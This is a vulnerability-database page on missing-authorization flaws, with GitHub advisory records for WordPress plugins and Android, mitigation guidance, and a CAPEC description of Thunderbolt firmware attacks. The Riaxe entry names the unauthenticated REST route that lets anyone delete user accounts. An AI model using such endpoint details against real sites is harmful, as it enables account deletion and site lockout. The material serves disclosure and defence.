      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha\u0027s authenticated agents can forge service-monitor results for other users\u0027 services"
}

GHSA-4G8Q-77CX-876P

Vulnerability from github – Published: 2025-06-27 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in Rohil Contact Form – 7 : Hide Success Message allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Contact Form – 7 : Hide Success Message: from n/a through 1.1.4.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-27T14:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Rohil Contact Form \u0026#8211; 7 : Hide Success Message allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Contact Form \u0026#8211; 7 : Hide Success Message: from n/a through 1.1.4.",
  "id": "GHSA-4g8q-77cx-876p",
  "modified": "2026-04-28T21:35:42Z",
  "published": "2025-06-27T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53304"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/contact-form-7-hide-success-message/vulnerability/wordpress-contact-form-7-hide-success-message-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G9F-Q2JM-5527

Vulnerability from github – Published: 2024-11-01 15:32 – Updated: 2026-04-01 18:32
VLAI
Details

Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual & Multicurrency multilingual allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Multilingual & Multicurrency: from n/a through 5.3.6.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-01T15:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual \u0026 Multicurrency multilingual allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Multilingual \u0026 Multicurrency: from n/a through 5.3.6.",
  "id": "GHSA-4g9f-q2jm-5527",
  "modified": "2026-04-01T18:32:16Z",
  "published": "2024-11-01T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44006"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-multilingual/vulnerability/wordpress-woocommerce-multilingual-multicurrency-plugin-5-3-7-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-multilingual/wordpress-woocommerce-multilingual-multicurrency-plugin-5-3-7-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G9J-M4C7-WXRH

Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30
VLAI
Details

In rebootWipeUserData of RecoverySystem.java, there is a possible way to factory reset the device while in DSU mode due to a missing permission check. This could lead to physical denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
4.6 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-48614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T17:16:17Z",
    "severity": "MODERATE"
  },
  "details": "In rebootWipeUserData of RecoverySystem.java, there is a possible way to factory reset the device while in DSU mode due to a missing permission check. This could lead to physical denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4g9j-m4c7-wxrh",
  "modified": "2025-12-08T21:30:21Z",
  "published": "2025-12-08T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48614"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/ec0c32ea736ba3c594352c345358a778334bc773"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G9P-X8VM-F7QG

Vulnerability from github – Published: 2026-04-16 06:31 – Updated: 2026-04-16 06:31
VLAI
Details

The Riaxe Product Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.2. This is due to the plugin registering a REST API route at POST /wp-json/InkXEProductDesignerLite/customer/delete_customer without a permission_callback, causing WordPress to default to allowing unauthenticated access, and the inkxe_delete_customer() callback function taking an array of user IDs from the request body and passing each one directly to wp_delete_user() without any authentication or authorization checks. This makes it possible for unauthenticated attackers to delete arbitrary WordPress user accounts, including administrator accounts, leading to complete site lockout and data loss.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-16T06:16:14Z",
    "severity": "MODERATE"
  },
  "details": "The Riaxe Product Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.2. This is due to the plugin registering a REST API route at POST /wp-json/InkXEProductDesignerLite/customer/delete_customer without a permission_callback, causing WordPress to default to allowing unauthenticated access, and the inkxe_delete_customer() callback function taking an array of user IDs from the request body and passing each one directly to wp_delete_user() without any authentication or authorization checks. This makes it possible for unauthenticated attackers to delete arbitrary WordPress user accounts, including administrator accounts, leading to complete site lockout and data loss.",
  "id": "GHSA-4g9p-x8vm-f7qg",
  "modified": "2026-04-16T06:31:23Z",
  "published": "2026-04-16T06:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3595"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/tags/2.1.2/riaxe-product-designer.php#L2993"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/tags/2.1.2/riaxe-product-designer.php#L3150"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/tags/2.1.2/riaxe-product-designer.php#L4271"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/trunk/riaxe-product-designer.php#L2993"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/trunk/riaxe-product-designer.php#L3150"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/riaxe-product-customizer/trunk/riaxe-product-designer.php#L4271"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59da92e2-9ea0-4566-ae4d-3d5d91d0e42e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list